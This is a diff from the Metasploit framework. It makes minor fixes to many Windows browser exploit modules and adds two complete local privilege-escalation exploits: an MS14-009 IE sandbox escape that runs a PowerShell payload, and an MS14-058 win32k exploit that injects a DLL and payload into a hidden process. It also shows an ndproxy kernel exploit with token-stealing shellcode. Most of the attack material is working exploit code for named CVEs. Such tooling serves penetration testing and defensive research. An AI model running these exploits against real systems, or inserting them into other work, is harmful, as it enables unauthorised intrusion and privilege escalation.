a/modules/exploits/windows/browser/ibmegath_getxmlvalue.rb +++ b/modules/exploits/windows/browser/ibmegath_getxmlvalue.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/ibmlotusdomino_dwa_uploadmodule.rb b/modules/exploits/windows/browser/ibmlotusdomino_dwa_uploadmodule.rb index 21e25454e3..c966b6145b 100644 --- a/modules/exploits/windows/browser/ibmlotusdomino_dwa_uploadmodule.rb +++ b/modules/exploits/windows/browser/ibmlotusdomino_dwa_uploadmodule.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/ie_cbutton_uaf.rb b/modules/exploits/windows/browser/ie_cbutton_uaf.rb index 819e5f14d1..81301a134f 100644 --- a/modules/exploits/windows/browser/ie_cbutton_uaf.rb +++ b/modules/exploits/windows/browser/ie_cbutton_uaf.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Exploit::Remote # :ua_minver => "8.0", # :ua_maxver => "8.0", # :javascript => true, - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :rank => GoodRanking #}) diff --git a/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb b/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb index 01864436ff..96741d004e 100644 --- a/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb +++ b/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Exploit::Remote :ua_minver => "8.0", :ua_maxver => "8.0", :javascript => true, - :os_name => OperatingSystems::WINDOWS, + :os_name => OperatingSystems::Match::WINDOWS, :rank => GoodRanking }) diff --git a/modules/exploits/windows/browser/ie_createobject.rb b/modules/exploits/windows/browser/ie_createobject.rb index 89e12d38df..4b49aa83b6 100644 --- a/modules/exploits/windows/browser/ie_createobject.rb +++ b/modules/exploits/windows/browser/ie_createobject.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -23,7 +23,7 @@ class Metasploit3 < Msf::Exploit::Remote # than the max by setting to 6.1 (which doesn't really exist). :ua_maxver => "6.1", :javascript => true, - :os_name => OperatingSystems::WINDOWS, + :os_name => OperatingSystems::Match::WINDOWS, :method => [ 'CreateObject', 'GetObject' ], :classid => [ diff --git a/modules/exploits/windows/browser/ie_execcommand_uaf.rb b/modules/exploits/windows/browser/ie_execcommand_uaf.rb index 00e85c8625..d50fcc1ad8 100644 --- a/modules/exploits/windows/browser/ie_execcommand_uaf.rb +++ b/modules/exploits/windows/browser/ie_execcommand_uaf.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/ie_iscomponentinstalled.rb b/modules/exploits/windows/browser/ie_iscomponentinstalled.rb index 9ac57083b2..09d208386c 100644 --- a/modules/exploits/windows/browser/ie_iscomponentinstalled.rb +++ b/modules/exploits/windows/browser/ie_iscomponentinstalled.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb index bc5f6c7855..e4a08d6c93 100644 --- a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb +++ b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/ie_unsafe_scripting.rb b/modules/exploits/windows/browser/ie_unsafe_scripting.rb index d699ef0a16..caab7e277b 100644 --- a/modules/exploits/windows/browser/ie_unsafe_scripting.rb +++ b/modules/exploits/windows/browser/ie_unsafe_scripting.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -120,7 +120,7 @@ var #{var_fsobj_file} = #{var_fsobj}.OpenTextFile(#{var_writedir} + "\\\\" + "#{ end def psh_technique(var_shellobj, p) - cmd = Rex::Text.to_hex(cmd_psh_payload(p.encoded)) + cmd = Rex::Text.to_hex(cmd_psh_payload(payload.encoded, payload_instance.arch.first)) js_content = %Q| // + + + eos + send_response(cli, close_html, { 'Content-Type' => 'text/html' }) + else + send_not_found(cli) + end + end + +end + diff --git a/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb b/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb new file mode 100644 index 0000000000..da8978c455 --- /dev/null +++ b/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb @@ -0,0 +1,180 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' +require 'msf/core/exploit/exe' +require 'msf/core/exploit/powershell' + +class Metasploit3 < Msf::Exploit::Local + Rank = GreatRanking + + include Msf::Exploit::Powershell + include Msf::Exploit::EXE + include Msf::Post::Windows::Priv + include Msf::Post::Windows::FileInfo + include Msf::Post::File + + NET_VERSIONS = { + '4.5' => { + 'dfsvc' => '4.0.30319.17929.17', + 'mscorlib' => '4.0.30319.18063.18' + }, + '4.5.1' => { + 'dfsvc' => '4.0.30319.18408.18', + 'mscorlib' => '4.0.30319.18444.18' + } + } + + def initialize(info={}) + super( update_info( info, + 'Name' => 'MS14-009 .NET Deployment Service IE Sandbox Escape', + 'Description' => %q{ + This module abuses a process creation policy in Internet Explorer's sandbox, specifically + in the .NET Deployment Service (dfsvc.exe), which allows the attacker to escape the + Enhanced Protected Mode, and execute code with Medium Integrity. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'James Forshaw', # Vulnerability Discovery and original exploit code + 'juan vazquez' # metasploit module + ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => + [ + [ 'IE 8 - 11', { } ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => + { + 'WfsDelay' => 30 + }, + 'DisclosureDate'=> "Feb 11 2014", + 'References' => + [ + ['CVE', '2014-0257'], + ['MSB', 'MS14-009'], + ['BID', '65417'], + ['URL', 'https://github.com/tyranid/IE11SandboxEscapes'] + ] + )) + end + + def check + unless file_exist?("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe") + return Exploit::CheckCode::Unknown + end + + net_version = get_net_version + + if net_version.empty? + return Exploit::CheckCode::Unknown + end + + unless file_exist?("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\mscorlib.dll") + return Exploit::CheckCode::Detected + end + + mscorlib_version = get_mscorlib_version + + if Gem::Version.new(mscorlib_version) >= Gem::Version.new(NET_VERSIONS[net_version]["mscorlib"]) + return Exploit::CheckCode::Safe + end + + Exploit::CheckCode::Vulnerable + end + + def get_net_version + net_version = "" + + dfsvc_version = file_version("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe") + dfsvc_version = dfsvc_version.join(".") + + NET_VERSIONS.each do |k,v| + if v["dfsvc"] == dfsvc_version + net_version = k + end + end + + net_version + end + + def get_mscorlib_version + mscorlib_version = file_version("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\mscorlib.dll") + mscorlib_version.join(".") + end + + def exploit + print_status("Running module against #{sysinfo['Computer']}") unless sysinfo.nil? + + mod_handle = session.railgun.kernel32.GetModuleHandleA('iexplore.exe') + if mod_handle['return'] == 0 + fail_with(Failure::NotVulnerable, "Not running inside an Internet Explorer process") + end + + unless get_integrity_level == INTEGRITY_LEVEL_SID[:low] + fail_with(Failure::NotVulnerable, "Not running at Low Integrity") + end + + print_status("Searching .NET Deployment Service (dfsvc.exe)...") + + unless file_exist?("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe") + fail_with(Failure::NotVulnerable, ".NET Deployment Service (dfsvc.exe) not found") + end + + net_version = get_net_version + + if net_version.empty? + fail_with(Failure::NotVulnerable, "This module only targets .NET Deployment Service from .NET 4.5 and .NET 4.5.1") + end + + print_good(".NET Deployment Service from .NET #{net_version} found.") + + print_status("Checking if .NET is patched...") + + unless file_exist?("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\mscorlib.dll") + fail_with(Failure::NotVulnerable, ".NET Installation can not be verified (mscorlib.dll not found)") + end + + mscorlib_version = get_mscorlib_version + + if Gem::Version.new(mscorlib_version) >= Gem::Version.new(NET_VERSIONS[net_version]["mscorlib"]) + fail_with(Failure::NotVulnerable, ".NET Installation not vulnerable") + end + + print_good(".NET looks vulnerable, exploiting...") + + cmd = cmd_psh_payload(payload.encoded, + payload_instance.arch.first, + { + :remove_comspec => true + } + ) + + cmd.gsub!('powershell.exe ','') + session.railgun.kernel32.SetEnvironmentVariableA("PSHCMD", cmd) + + temp = get_env('TEMP') + + print_status("Loading Exploit Library...") + + session.core.load_library( + 'LibraryFilePath' => ::File.join(Msf::Config.data_directory, "exploits", "CVE-2014-0257", "CVE-2014-0257.dll"), + 'TargetFilePath' => temp + "\\CVE-2014-0257.dll", + 'UploadLibrary' => true, + 'Extension' => false, + 'SaveToDisk' => false + ) + end + + def cleanup + session.railgun.kernel32.SetEnvironmentVariableA("PSHCMD", nil) + super + end + +end + diff --git a/modules/exploits/windows/local/ms14_058_track_popup_menu.rb b/modules/exploits/windows/local/ms14_058_track_popup_menu.rb new file mode 100644 index 0000000000..474404f68f --- /dev/null +++ b/modules/exploits/windows/local/ms14_058_track_popup_menu.rb @@ -0,0 +1,159 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/post/windows/reflective_dll_injection' +require 'rex' + +class Metasploit3 < Msf::Exploit::Local + Rank = NormalRanking + + include Msf::Post::File + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Process + include Msf::Post::Windows::FileInfo + include Msf::Post::Windows::ReflectiveDLLInjection + + def initialize(info={}) + super(update_info(info, { + 'Name' => 'Windows TrackPopupMenu Win32k NULL Pointer Dereference', + 'Description' => %q{ + This module exploits a NULL Pointer Dereference in win32k.sys, the vulnerability + can be triggered through the use of TrackPopupMenu. Under special conditions, the + NULL pointer dereference can be abused on xxxSendMessageTimeout to achieve arbitrary + code execution. This module has been tested successfully on Windows XP SP3, Windows + 2003 SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 SP1 and Windows + 2008 R2 SP1 64 bits. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Unknown', # vulnerability discovery and exploit in the wild + 'juan vazquez', # msf module (x86 target) + 'Spencer McIntyre', # msf module (x64 target) + 'OJ Reeves ' + ], + 'Arch' => [ ARCH_X86, ARCH_X86_64 ], + 'Platform' => 'win', + 'SessionTypes' => [ 'meterpreter' ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + }, + 'Targets' => + [ + # Tested on (32 bits): + # * Windows XP SP3 + # * Windows 2003 SP2 + # * Windows 7 SP1 + # * Windows 2008 + [ 'Windows x86', { 'Arch' => ARCH_X86 } ], + # Tested on (64 bits): + # * Windows 7 SP1 + # * Windows 2008 R2 SP1 + [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] + ], + 'Payload' => + { + 'Space' => 4096, + 'DisableNops' => true + }, + 'References' => + [ + ['CVE', '2014-4113'], + ['OSVDB', '113167'], + ['BID', '70364'], + ['MSB', 'MS14-058'], + ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-a-windows-kernel-mode-vulnerability-cve-2014-4113/'] + ], + 'DisclosureDate' => 'Oct 14 2014', + 'DefaultTarget' => 0 + })) + end + + def check + os = sysinfo["OS"] + + if os !~ /windows/i + return Exploit::CheckCode::Unknown + end + + if sysinfo["Architecture"] =~ /(wow|x)64/i + arch = ARCH_X86_64 + elsif sysinfo["Architecture"] =~ /x86/i + arch = ARCH_X86 + end + + file_path = expand_path("%windir%") << "\\system32\\win32k.sys" + major, minor, build, revision, branch = file_version(file_path) + vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") + + # Neither target suports Windows 8 or 8.1 + return Exploit::CheckCode::Safe if build == 9200 + return Exploit::CheckCode::Safe if build == 9600 + + if arch == ARCH_X86 + return Exploit::CheckCode::Detected if [2600, 3790, 7600, 7601].include?(build) + else + return Exploit::CheckCode::Detected if build == 7601 + end + + return Exploit::CheckCode::Unknown + end + + def exploit + if is_system? + fail_with(Exploit::Failure::None, 'Session is already elevated') + end + + if check == Exploit::CheckCode::Safe + fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system.") + end + + if sysinfo["Architecture"] =~ /wow64/i + fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') + elsif sysinfo["Architecture"] =~ /x64/ && target.arch.first == ARCH_X86 + fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86') + elsif sysinfo["Architecture"] =~ /x86/ && target.arch.first == ARCH_X86_64 + fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64') + end + + print_status('Launching notepad to host the exploit...') + notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true}) + begin + process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) + print_good("Process #{process.pid} launched.") + rescue Rex::Post::Meterpreter::RequestError + # Reader Sandbox won't allow to create a new process: + # stdapi_sys_process_execute: Operation failed: Access is denied. + print_status('Operation failed. Trying to elevate the current process...') + process = client.sys.process.open + end + + print_status("Reflectively injecting the exploit DLL into #{process.pid}...") + if target.arch.first == ARCH_X86 + dll_file_name = 'cve-2014-4113.x86.dll' + else + dll_file_name = 'cve-2014-4113.x64.dll' + end + + library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-4113', dll_file_name) + library_path = ::File.expand_path(library_path) + + print_status("Injecting exploit into #{process.pid}...") + exploit_mem, offset = inject_dll_into_process(process, library_path) + + print_status("Exploit injected. Injecting payload into #{process.pid}...") + payload_mem = inject_into_process(process, payload.encoded) + + # invoke the exploit, passing in the address of the payload that + # we want invoked on successful exploitation. + print_status('Payload injected. Executing exploit...') + process.thread.create(exploit_mem + offset, payload_mem) + + print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') + end + +end diff --git a/modules/exploits/windows/local/ms_ndproxy.rb b/modules/exploits/windows/local/ms_ndproxy.rb index 1ac9a2ba6d..ec3c8e4539 100644 --- a/modules/exploits/windows/local/ms_ndproxy.rb +++ b/modules/exploits/windows/local/ms_ndproxy.rb @@ -1,22 +1,24 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' +require 'msf/core/exploit/local/windows_kernel' require 'rex' class Metasploit3 < Msf::Exploit::Local Rank = AverageRanking + include Msf::Exploit::Local::WindowsKernel include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Process - def initialize(info={}) + def initialize(info = {}) super(update_info(info, { - 'Name' => 'MS14-002 Microsoft Windows ndproxy.sys Local Privilege Escalation', - 'Description' => %q{ + 'Name' => 'MS14-002 Microsoft Windows ndproxy.sys Local Privilege Escalation', + 'Description' => %q( This module exploits a flaw in the ndproxy.sys driver on Windows XP SP3 and Windows 2003 SP2 systems, exploited in the wild in November, 2013. The vulnerability exists while processing an IO Control Code 0x8fff23c8 or 0x8fff23cc, where user provided input is used @@ -24,31 +26,31 @@ class Metasploit3 < Msf::Exploit::Local pointer dereference which is exploitable on both Windows XP and Windows 2003 systems. This module has been tested successfully on Windows XP SP3 and Windows 2003 SP2. In order to work the service "Routing and Remote Access" must be running on the target system. - }, - 'License' => MSF_LICENSE, - 'Author' => + ), + 'License' => MSF_LICENSE, + 'Author' => [ 'Unknown', # Vulnerability discovery 'ryujin', # python PoC 'Shahin Ramezany', # C PoC 'juan vazquez' # MSF module ], - 'Arch' => ARCH_X86, - 'Platform' => 'win', - 'Payload' => + 'Arch' => ARCH_X86, + 'Platform' => 'win', + 'Payload' => { - 'Space' => 4096, + 'Space' => 4096, 'DisableNops' => true }, - 'SessionTypes' => [ 'meterpreter' ], - 'DefaultOptions' => + 'SessionTypes' => ['meterpreter'], + 'DefaultOptions' => { - 'EXITFUNC' => 'thread', + 'EXITFUNC' => 'thread' }, - 'Targets' => + 'Targets' => [ - [ 'Automatic', { } ], - [ 'Windows XP SP3', + ['Automatic', {}], + ['Windows XP SP3', { 'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates '_KPROCESS' => "\x44", # Offset to _KPROCESS from a _ETHREAD struct @@ -57,7 +59,7 @@ class Metasploit3 < Msf::Exploit::Local '_APLINKS' => "\x88" # Offset to ActiveProcessLinks _EPROCESS struct } ], - [ 'Windows Server 2003 SP2', + ['Windows Server 2003 SP2', { 'HaliQuerySystemInfo' => 0x1fa1e, '_KPROCESS' => "\x38", @@ -67,115 +69,38 @@ class Metasploit3 < Msf::Exploit::Local } ] ], - 'References' => + 'References' => [ - [ 'CVE', '2013-5065' ], - [ 'MSB', 'MS14-002' ], - [ 'OSVDB' , '100368'], - [ 'BID', '63971' ], - [ 'EDB', '30014' ], - [ 'URL', 'http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/' ], - [ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2914486'], - [ 'URL', 'https://github.com/ShahinRamezany/Codes/blob/master/CVE-2013-5065/CVE-2013-5065.cpp' ], - [ 'URL', 'http://www.secniu.com/blog/?p=53' ], - [ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html' ], - [ 'URL', 'http://blog.spiderlabs.com/2013/12/the-kernel-is-calling-a-zeroday-pointer-cve-2013-5065-ring-ring.html' ] + %w(CVE 2013-5065), + %w(MSB MS14-002), + %w(OSVDB 100368), + %w(BID 63971), + %w(EDB 30014), + %w(URL http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/), + %w(URL http://technet.microsoft.com/en-us/security/advisory/2914486), + %w(URL https://github.com/ShahinRamezany/Codes/blob/master/CVE-2013-5065/CVE-2013-5065.cpp), + %w(URL http://www.secniu.com/blog/?p=53), + %w(URL http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html), + %w(URL http://blog.spiderlabs.com/2013/12/the-kernel-is-calling-a-zeroday-pointer-cve-2013-5065-ring-ring.html) ], - 'DisclosureDate'=> 'Nov 27 2013', - 'DefaultTarget' => 0 + 'DisclosureDate' => 'Nov 27 2013', + 'DefaultTarget' => 0 })) - - end - - def add_railgun_functions - session.railgun.add_dll('psapi') unless session.railgun.dlls.keys.include?('psapi') - session.railgun.add_function( - 'psapi', - 'EnumDeviceDrivers', - 'BOOL', - [ - ["PBLOB", "lpImageBase", "out"], - ["DWORD", "cb", "in"], - ["PDWORD", "lpcbNeeded", "out"] - ]) - session.railgun.add_function( - 'psapi', - 'GetDeviceDriverBaseNameA', - 'DWORD', - [ - ["LPVOID", "ImageBase", "in"], - ["PBLOB", "lpBaseName", "out"], - ["DWORD", "nSize", "in"] - ]) - end - - def open_device(dev) - - invalid_handle_value = 0xFFFFFFFF - - r = session.railgun.kernel32.CreateFileA(dev, 0x0, 0x0, nil, 0x3, 0, 0) - - handle = r['return'] - - if handle == invalid_handle_value - return nil - end - - return handle - end - - def find_sys_base(drvname) - results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4) - addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("L*") - - addresses.each do |address| - results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48) - current_drvname = results['lpBaseName'][0..results['return'] - 1] - if drvname == nil - if current_drvname.downcase.include?('krnl') - return [address, current_drvname] - end - elsif drvname == results['lpBaseName'][0..results['return'] - 1] - return [address, current_drvname] - end - end - - return nil end def ring0_shellcode(t) restore_ptrs = "\x31\xc0" # xor eax, eax - restore_ptrs << "\xb8" + [ @addresses["HaliQuerySystemInfo"] ].pack("L") # mov eax, offset hal!HaliQuerySystemInformation - restore_ptrs << "\xa3" + [ @addresses["halDispatchTable"] + 4 ].pack("L") # mov dword ptr [nt!HalDispatchTable+0x4], eax + restore_ptrs << "\xb8" + [@addresses['HaliQuerySystemInfo']].pack('V') # mov eax, offset hal!HaliQuerySystemInformation + restore_ptrs << "\xa3" + [@addresses['halDispatchTable'] + 4].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax - tokenstealing = "\x52" # push edx # Save edx on the stack - tokenstealing << "\x53" # push ebx # Save ebx on the stack - tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0 - tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD - tokenstealing << "\x8b\x40" + t['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS - tokenstealing << "\x8b\xc8" # mov ecx, eax - tokenstealing << "\x8b\x98" + t['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN - tokenstealing << "\x8b\x80" + t['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks - tokenstealing << "\x81\xe8" + t['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks - tokenstealing << "\x81\xb8" + t['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP) - tokenstealing << "\x75\xe8" # jne 0000101e ====================== - tokenstealing << "\x8b\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX - tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX - tokenstealing << "\x89\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS - tokenstealing << "\x5b" # pop ebx # Restores ebx - tokenstealing << "\x5a" # pop edx # Restores edx - tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel! - - ring0_shellcode = restore_ptrs + tokenstealing - return ring0_shellcode + ring0_shellcode = restore_ptrs + token_stealing_shellcode(t) + ring0_shellcode end def fill_memory(proc, address, length, content) - - result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("L"), nil, [ length ].pack("L"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE") - + session.railgun.ntdll.NtAllocateVirtualMemory(-1, [address].pack('V'), nil, [length].pack('V'), 'MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN', 'PAGE_EXECUTE_READWRITE') unless proc.memory.writable?(address) - vprint_error("Failed to allocate memory") + vprint_error('Failed to allocate memory') return nil end @@ -184,13 +109,13 @@ class Metasploit3 < Msf::Exploit::Local result = proc.memory.write(address, content) if result.nil? - vprint_error("Failed to write contents to memory") + vprint_error('Failed to write contents to memory') return nil else vprint_good("Contents successfully written to 0x#{address.to_s(16)}") end - return address + address end def create_proc @@ -198,81 +123,51 @@ class Metasploit3 < Msf::Exploit::Local cmd = "#{windir}\\System32\\notepad.exe" # run hidden begin - proc = session.sys.process.execute(cmd, nil, {'Hidden' => true }) + proc = session.sys.process.execute(cmd, nil, 'Hidden' => true) rescue Rex::Post::Meterpreter::RequestError # when running from the Adobe Reader sandbox: # Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Access is denied. return nil end - return proc.pid + proc.pid end def disclose_addresses(t) addresses = {} - vprint_status("Getting the Kernel module name...") - kernel_info = find_sys_base(nil) - if kernel_info.nil? - vprint_error("Failed to disclose the Kernel module name") - return nil - end - vprint_good("Kernel module found: #{kernel_info[1]}") + hal_dispatch_table = find_haldispatchtable + return nil if hal_dispatch_table.nil? + addresses['halDispatchTable'] = hal_dispatch_table + vprint_good("HalDispatchTable found at 0x#{addresses['halDispatchTable'].to_s(16)}") - vprint_status("Getting a Kernel handle...") - kernel32_handle = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1) - kernel32_handle = kernel32_handle['return'] - if kernel32_handle == 0 - vprint_error("Failed to get a Kernel handle") - return nil - end - vprint_good("Kernel handle acquired") - - - vprint_status("Disclosing the HalDispatchTable...") - hal_dispatch_table = session.railgun.kernel32.GetProcAddress(kernel32_handle, "HalDispatchTable") - hal_dispatch_table = hal_dispatch_table['return'] - if hal_dispatch_table == 0 - vprint_error("Failed to disclose the HalDispatchTable") - return nil - end - hal_dispatch_table -= kernel32_handle - hal_dispatch_table += kernel_info[0] - addresses["halDispatchTable"] = hal_dispatch_table - vprint_good("HalDispatchTable found at 0x#{addresses["halDispatchTable"].to_s(16)}") - - vprint_status("Getting the hal.dll Base Address...") - hal_info = find_sys_base("hal.dll") + vprint_status('Getting the hal.dll base address...') + hal_info = find_sys_base('hal.dll') if hal_info.nil? - vprint_error("Failed to disclose hal.dll Base Address") + vprint_error('Failed to disclose hal.dll base address') return nil end hal_base = hal_info[0] - vprint_good("hal.dll Base Address disclosed at 0x#{hal_base.to_s(16)}") + vprint_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16)}") hali_query_system_information = hal_base + t['HaliQuerySystemInfo'] - addresses["HaliQuerySystemInfo"] = hali_query_system_information + addresses['HaliQuerySystemInfo'] = hali_query_system_information - vprint_good("HaliQuerySystemInfo Address disclosed at 0x#{addresses["HaliQuerySystemInfo"].to_s(16)}") - return addresses + vprint_good("HaliQuerySystemInfo address disclosed at 0x#{addresses['HaliQuerySystemInfo'].to_s(16)}") + addresses end - def check - vprint_status("Adding the railgun stuff...") - add_railgun_functions - - if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/ + if sysinfo['Architecture'] =~ /wow64/i || sysinfo['Architecture'] =~ /x64/ return Exploit::CheckCode::Detected end - handle = open_device("\\\\.\\NDProxy") - if handle.nil? - return Exploit::CheckCode::Safe - end + handle = open_device('\\\\.\\NDProxy', 0x0, 0x0, 0x3) + return Exploit::CheckCode::Safe if handle.nil? + session.railgun.kernel32.CloseHandle(handle) - os = sysinfo["OS"] + os = sysinfo['OS'] case os when /windows xp.*service pack 3/i return Exploit::CheckCode::Appears @@ -285,31 +180,26 @@ class Metasploit3 < Msf::Exploit::Local else return Exploit::CheckCode::Safe end - end def exploit - - vprint_status("Adding the railgun stuff...") - add_railgun_functions - - if sysinfo["Architecture"] =~ /wow64/i - fail_with(Failure::NoTarget, "Running against WOW64 is not supported") - elsif sysinfo["Architecture"] =~ /x64/ - fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") + if sysinfo['Architecture'] =~ /wow64/i + fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') + elsif sysinfo['Architecture'] =~ /x64/ + fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported') end my_target = nil if target.name =~ /Automatic/ - print_status("Detecting the target system...") - os = sysinfo["OS"] + print_status('Detecting the target system...') + os = sysinfo['OS'] if os =~ /windows xp.*service pack 3/i my_target = targets[1] print_status("Running against #{my_target.name}") - elsif ((os =~ /2003/) and (os =~ /service pack 2/i)) + elsif (os =~ /2003/) && (os =~ /service pack 2/i) my_target = targets[2] print_status("Running against #{my_target.name}") - elsif ((os =~ /\.net server/i) and (os =~ /service pack 2/i)) + elsif (os =~ /\.net server/i) && (os =~ /service pack 2/i) my_target = targets[2] print_status("Running against #{my_target.name}") end @@ -318,100 +208,95 @@ class Metasploit3 < Msf::Exploit::Local end if my_target.nil? - fail_with(Failure::NoTarget, "Remote system not detected as target, select the target manually") + fail_with(Failure::NoTarget, 'Remote system not detected as target, select the target manually') end - print_status("Checking device...") - handle = open_device("\\\\.\\NDProxy") + print_status('Checking device...') + handle = open_device('\\\\.\\NDProxy', 0x0, 0x0, 0x3) if handle.nil? - fail_with(Failure::NoTarget, "\\\\.\\NDProxy device not found") + fail_with(Failure::NoTarget, '\\\\.\\NDProxy device not found') else - print_good("\\\\.\\NDProxy found!") + print_good('\\\\.\\NDProxy found!') end - print_status("Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...") + print_status('Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...') @addresses = disclose_addresses(my_target) if @addresses.nil? session.railgun.kernel32.CloseHandle(handle) - fail_with(Failure::Unknown, "Filed to disclose necessary addresses for exploitation. Aborting.") + fail_with(Failure::Unknown, 'Failed to disclose necessary addresses for exploitation, aborting.') else - 